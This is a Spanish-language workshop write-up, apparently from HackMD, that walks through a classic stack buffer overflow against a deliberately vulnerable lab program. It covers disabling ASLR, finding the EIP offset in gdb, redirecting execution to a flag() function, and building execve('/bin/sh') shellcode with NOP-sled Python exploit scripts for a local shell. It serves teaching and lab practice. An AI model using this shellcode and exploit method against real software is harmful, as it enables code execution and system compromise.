Try   HackMD

Workshop | Buffer Overflow

Workshop | Buffer Overflow
Johnny Pan (codeskill)
2023-11-28

Descripción:
En la siguiente taller vamos analizar dos formas de explotar el programa reto.c.

La primera forma, vamos a tratar que el programa nos imprima la bandera, accediendo a la función flag(), alterando el flujo del programa y para la segunda, vamos a obtener una shell local en la propia máquina.

codeskill@linux:~$ cat reto.c #include <stdio.h> #include <string.h> void flag(){ printf("Felicidades, haz obtenido el flag{bof2023}\n"); } int main(int argc, char *argv[]){ char buffer[100]; if (argc != 2){ printf("Uso: %s argumento\n",argv[0]); return -1; } strcpy(buffer,argv[1]); printf ("%s\n",buffer); return 0; }

Antes de comenzar debemos revisar si la configuración de ASLR (Address Space Layout Randomization) está activada en la máquina virtual de Linux, este mecanismo de seguridad genera direcciones aleatorias en el stack y en el heap para evitar las vulnerabilidades de desbordamiento de buffer. Si se encuentra habilitado será necesario desactivarlo.

codeskill@linux:~$ cat /proc/sys/kernel/randomize_va_space
2
codeskill@linux:~$ 

Si nos retorna un 2, significa que esta activo, así que procedemos a desactivarlo, con el siguiente comando.

codeskill@linux:~$ echo 0 > /proc/sys/kernel/randomize_va_space
codeskill@linux:~$ cat /proc/sys/kernel/randomize_va_space
0

Si no funciona podemos usar alguno de los siguientes comandos, para deshabilitarlo temporalmente

codeskill@linux:~$ sudo sysctl kernel.randomize_va_space=0
codeskill@linux:~$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Ahora procedemos a compilar el programa reto.c agregando ciertos parámetros que debemos indicarle a gcc, los cuales explicó a continuación.

Parámetro Descripción
-fno-stack-protector Poder sobrescribir la pila
-z execstack Poder ejecutar código en la pila
-mpreferred-stack-boundary=2 Asignar 4 bytes límite a la pila
-m32 Compilar el programa en 32 bits
codeskill@linux:$ gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 reto.c -o reto
codeskill@linux:$ ls
reto  reto.c

Durante el desarrollo de este taller, realiaremos dos pruebas de concepto que nos permitirán resolver los retos solicitados. Inicialmente se analizará el código fuente suministrado reto.c y posteriormente se utilizarán varias herramientas en GNU/Linux, así como mi experiencia en diferentes lenguajes de programación para obtener acceso a la función flag() y a la shell.

Estos métodos no son los únicos que existen y varian dependiendo del entorno en que nos encontramos.

Para realizar correctamente las pruebas de concepto, se creará un laboratorio de pruebas mediante una máquina virtual con la distribución Ubuntu Server 20.04 y nos conectaremos a la VM mediante SSH para poder copiar y pegar los comando directamente en la terminal.

PoC #1

En la primer prueba de concepto, se realizá una explicación paso a paso para obtener el acceso a la función flag(), modificando el flujo del programa mediante un desbordamiento de buffer.

Requisitos

  • Terminal
  • SSH
  • GCC
  • GDB
  • OBJDUMP
  • GREP
  • PHP, Perl, Python o Ruby

Primero analizaremos el código fuente del programa reto.c y comentaremos el código para una mejor comprensión

#include <stdio.h> // Inclusión de la librería STDIO.H #include <string.h> // Inclusión de la librería STRING.H void flag() { // Función que se debe acceder en el PoC #1 printf("Felicidades, haz obtenido el flag{bof2023}\n"); // Imprime el flag } /* * Función principal main(int argc, char *argv[]) * argc toma el valor de los argumentos recibidos a partir del segundo * ya que el primer valor siempre será el nombre del programa * argv toma en cada posición los argumentos de caracteres suministrados */ int main(int argc, char *argv[]) { char buffer[100]; // Variable buffer para almacenar 100 caracteres if (argc != 2) { // Condición para enviar solo un argumento printf("Uso: %sargumento\n",argv[0]); //Se imprime la ayuda return -1; //Finaliza con error el programa } strcpy(buffer,argv[1]); // Copia el argumento a la variable buffer printf ("%s\n",buffer); // Coloca en pantalla el valor del buffer return 0; //Finaliza el programa con éxito. }
codeskill@linux:~$ nano reto.c

image

Salvamos el archivo con Ctrl+O y salimos con Ctrl+X

Probamos el programa que acabamos de compilar, enviandole como argumento una cadena de caracteres para determinar su funcionamiento.

codeskill@linux:~$ ./reto Uso: ./reto argumento codeskill@linux:~$ ./reto Johnny Johnny codeskill@linux:~$ ./reto 1234567890 1234567890

Luego utilizaremos algún lenguaje de script como PHP, Perl, Python o Ruby para generar una cadena de texto suficientemente grande como para sobrescribir la variable buffer de nuestro programa. Como sabemos que la varible buffer tiene un máximo de almacenamiento de 100 bytes, deberemos introducir más de 99 caracteres, ya que el carácter '\0' de fin de cadena
lo añade siempre al final.

Usaremos el acento invertido para pasar como argumentos de la función la salida del script. Mostraré la forma de realizarlo en diferentes lenguajes y quedará a gusto de cada quien cual lenguaje utilizar.

PHP

codeskill@linux:~$ ./reto `php -r 'echo str_repeat("A", 50);'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Perl

codeskill@linux:~$ ./reto `perl -e 'print "A"x50'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Python

codeskill@linux:~$ ./reto `python -c 'print "A"*50'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Ruby

codeskill@linux:~$ ./reto `ruby -e 'print "A"*50'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Vamos a ver que ocurre si probamos pasando cadenas de texto con más caracteres. Esta vez utilizaré el código en Python, iniciando en 100 caracteres e iré aumentando de 5 en 5 hasta obtener el mensaje de Segmentation fault.

codeskill@linux:~$ ./reto $(python -c 'print "A"*100')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
codeskill@linux:~$ ./reto $(python -c 'print "A"*105')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
codeskill@linux:~$ ./reto $(python -c 'print "A"*110')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
codeskill@linux:~$ 

Es aquí como observamos un comportamiento extraño y comenzamos nuestro análisis del desbordamiento del buffer. Vemos que si sobrepasamos los caracteres soportados obtenemos el mensaje de "Segmentation fault". Este mensaje significa que hemos sobrescrito el registro EIP y ahora apunta a una dirección no permitida.

Para saber exactamente qué hemos sobrescrito en EIP, utilizaremos el comando gdb que es el depurador que viene por defecto en Linux.

Si deseamos generar dumps de core para dar seguimiento a la
dirección de memoria, por defecto esta opción está en deshabilitada y se puede comprobar con el comando ulimit -a, para habilitar la opción deberemos colocar la palabra unlimited o un número grande para que se puedan escribir dumps para realizar el debug, de la siguiente forma.

codeskill@linux:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 7525
max locked memory       (kbytes, -l) 65536
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 7525
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
codeskill@linux:~$ ulimit -c unlimited
codeskill@linux:~$ ulimit -a
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 7525
max locked memory       (kbytes, -l) 65536
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 7525
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

Los pasos con el archivo core son opcionales

Podemos generar errores de desbordamiento de buffer agregando cada vez más caracteres al argumento, de esta forma podemos darle seguimiento a las direcciones de memoria con los archivos core que se crean.

codeskill@linux:~$ ./reto $(python -c 'print "A"*120')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Lo analizamos de la siguiente forma.

codeskill@linux:~$ gdb -c core -q

Para esta PoC no voy a utilizar los archivos core, sino que realizaré el debug directamente desde gdb, de la siguiente manera.

codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "A"*110')

Al volver a ejecutar el código anterior obtenemos el valor de EIP es 0xf7004141. Esa dirección es debido al valor de la letra "A" en hexadecimal es 0x41, es decir, hemos sobrescrito parcialmente EIP con la letra "A". Usamos el comando i r que equivale a info registers dentro de gdb para observar el valor de los registros.

image

Continuamos probando y aumentamos la cantidad de "A" hasta sobreescribir completamente el registro EIP. En esta ocasión aumentaré la cantidad de "A" a 112 y vemos que sobreescribimos completamente el registro EIP con el valor 0x41414141.

image

Una vez que calculamos el desplazamiento adecuado, verificamos que realmente se esta escribiendo correctamente el registro EIP y cambiamos el script anterior agregando la letra "B" y restando la cantidad de letras "A".

codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "A"*108+"B"*4')

image

Vemos que ahora el valor del registro EIP es 0x42424242 que equivale a "BBBB". Con estas pruebas ya podemos alterar el flujo del programa para tener acceso a la función flag().

Dentro del proceso de Debug con gdb desensamblamos la función flag() para conocer en que segmento de la memoria se encuentra escribiendo el siguiente comando.

(gdb) disassemble flag

image

Vemos que la función flag() está en la dirección 0x56556211 la cual debemos pasar a formato hexadecimal de la siguiente forma "\x11\x62\x55\x56". Entonces modificaremos nuestro script de Python y colocaremos la dirección en el registro EIP recordando ponerla en formato Little-endian.

image

codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "A"*108+"\x11\x62\x55\x56"')

image

De esta forma resolvimos el primer reto y según muchas recomendaciones que encontré en Internet, podemos utilizar NOP para no generar tantos caracteres en pantalla. Programando de la siguiente forma nuestro script de Buffer Overflow para obtener la función flag().

#!/usr/bin/env python # Script de Buffer Overflow para el flag # Johnny Pan @ 2023 nops = '\x90'*108 # Option 1 flag1 = '\x11\x62\x55\x56' # Option 2 flag2 = '\x56\x55\x62\x11'[::-1] print nops + flag1

Ahora ejecutamos el programa reto pasando como argumento la salida del script en Python que acabamos de crear. De la siguiente forma.

codeskill@linux:~$ ./reto $(./flag.py)

image

Con eso terminamos la PoC #1.

PoC #2

En la segunda prueba de concepto, se realizá una explicación paso a paso para obtener una shell local en la propia máquina, modificando el flujo del programa mediante un desbordamiento de buffer.

Requisitos

  • Terminal
  • SSH
  • Kali Linux
  • GCC
  • GDB
  • OBJDUMP
  • GREP
  • Python

Para realizar este ejercicio utilizamos gran parte del conocimiento adquirido en el PoC #1 y vamos a programar primero la shell en lenguaje C, que posteriormente debemos pasar a código ensamblador para realizar nuestro ataque de buffer overflow.

Comenzamos escribiendo la shell nano shellcode.c. Existen muchos ejemplos en Internet, pero tomaremos el código fuente de la siguiente página

http://www.kernel-panic.it/security/shellcode/shellcode5.html

#include <unistd.h> int main() { char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve(args[0], args, NULL); }

Compilamos el código fuente y lo probamos.

codeskill@linux:~$ nano shellcode.c
codeskill@linux:~$ gcc -w shellcode.c -o shellcode
codeskill@linux:~$ ./shellcode
$ whoami
codeskill

Luego pasamos el código de C a lenguaje ensamblador.

jmp short mycall ; Salta a la función mycall shellcode: pop esi ; Almacena dirección de "/bin/sh" en ESI xor eax, eax ; Pone en cero EAX mov byte [esi + 7], al ; Byte nulo al final de la cadena mov dword [esi + 8], esi ; Memoria debajo de la cadena ; "/bin/sh", contendrá el arreglo que ; apunta al segundo argumento de execve ; En [ESI+8] guardamos la dirección ; de la cadena mov dword [esi + 12], eax ; En [ESI+12] el puntero NULL donde ; EAX es 0 mov al, 0xb ; Almacena syscall (11) en EAX lea ebx, [esi] ; Copia la dirección de la cadena en EBX lea ecx, [esi + 8] ; 2 Argumento para execve lea edx, [esi + 12] ; 3 Argumento para execve (Puntero NULL) int 0x80 ; Ejecuta la llamada al sistema mycall: call shellcode ; Pone dirección de "/bin/sh" en la pila db "/bin/sh"

Posteriormente ensamblamos el archivo shellcode.asm y utilizamos la herramienta objdump para desensamblar el programa y así poder utilizarlo como shellcode en nuestro script de ataque.

codeskill@linux:~$ nasm -f elf shellcode.asm
codeskill@linux:~$ objdump -d shellcode.o

image

Utilizamos gdb y realizamos los cálculos correspondiente para obtener la dirección exacta del registro ESP (Stack Pointer) cuando inyectamos el shellcode, de la siguiente manera.

En el ejercicio anterior habiamos visto que se realizaba el desborde del buffer con 112 bytes. Entonces realizamos la operación correspondiente para obtener la cantidad de caracteres que debemos incluir en la prueba.

Cantidad de caracteres = 112 - tamaño del shellcode - tamaño de EIP
Cantidad de caracteres = 112 - 38 - 4
Cantidad de caracteres = 70

run $(python -c 'print "SHELLCODE" + "A" * 70 + "BBBB"')

codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*70+"BBBB"')

image

Ahora buscamos la dirección donde se ejecuto el shellcode. Dentro de gdb ejecutamos el siguiente comando restando los 112+4 bytes (buffer overflow + tamaño de EIP), de esta forma podemos observar el registro.

(gdb) x/40x $esp-116

image

Vemos que nuestro shellcode 0x315e18eb inicia en la dirección 0xffffd4ac: por lo tanto tomamos la dirección que esta a la izquierda de 0x315e18eb, que en nuestro caso sería 0xffffd4b0 y la convertimos en formato hexadecimal ordenado de forma invertida.

0xffffd4b0 = \xb0\xd4\xff\xff

Luego sustituimos la cadena "BBBB" por \xb0\xd4\xff\xff en el script de prueba.

codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*70+"\xb0\xd4\xff\xff"')

Y con esto obtenemos el acceso a una shell local mediante una inyección de nuestro shellcode en el registro EIP del programa en ejecución.

image

Ahora generamos un pequeño script en Python para pasarlo como argumento al programa.

codeskill@linux:~$ nano shellcode.py
#!/usr/bin/env python # Script de Buffer Overflow para obtener local shell # Johnny Pan @ 2023 shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' eip = '\xb0\xd4\xff\xff' letras = 'A'*(112-len(shell)-len(eip)) print shell + letras + eip

Si queremos ejecutar el programa fuera de gdb no obtendremos la shell, debido a que gdb añade algunos bytes a la pila (entre 32 y 64) y la dirección a la que saltamos ya no es la de nuestra shell.

codeskill@linux:~$ ./reto $(./shellcode.py)

image

Para solucionarlo, utilizaremos un sled de NOPs, que consistirá en llenar el buffer con la instrucción NOP antes de la shellcode, así cuando realicemos el salto a una dirección, habrá más posibilidades de que caigamos en una instrucción NOP y se deslice el flujo del programa hasta llegar a la shellcode.

Modificaremos nuestro script de nuevo añadiendo NOPs en vez de letras "A". También cambiaremos el valor de EIP por lo que hemos dicho antes de gdb y le sumaremos entre 32 y 64 bytes, en este caso 40.

Podemos usar Python para saber cuanto tiene que ser el desplazamiento. Ejecutamos el comando python y ponemos la dirección anterior de EIP y le sumamos los 112 que es el tamaño que habiamos encontraba donde ocurría el desbordamiento + 40 por los ajustes en gdb.

python -c 'print (hex((DIRECCION DE EIP)+112+40))' python -c 'print (hex(0xffffd4b0+112+40))' 0xffffd548

image

Modificamos nuestro script.

codeskill@linux:~$ nano shellcode.py
#!/usr/bin/env python # Script de Buffer Overflow para obtener local shell # Johnny Pan @ 2023 shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' eip = '\x48\xd5\xff\xff' nops = '\x90'*(112-len(shell)-len(eip)) print nops + shell + eip

Probamos que el nuevo código funcione correctamente desde la terminal.

codeskill@linux:~$ ./reto $(python shellcode.py)

image

Vemos que funciona correctamente y tenemos acceso a una shell local.

Con eso damos por finalizado el PoC#2 y resolvimos los dos retos de manera exitosa.

Referencias

Videos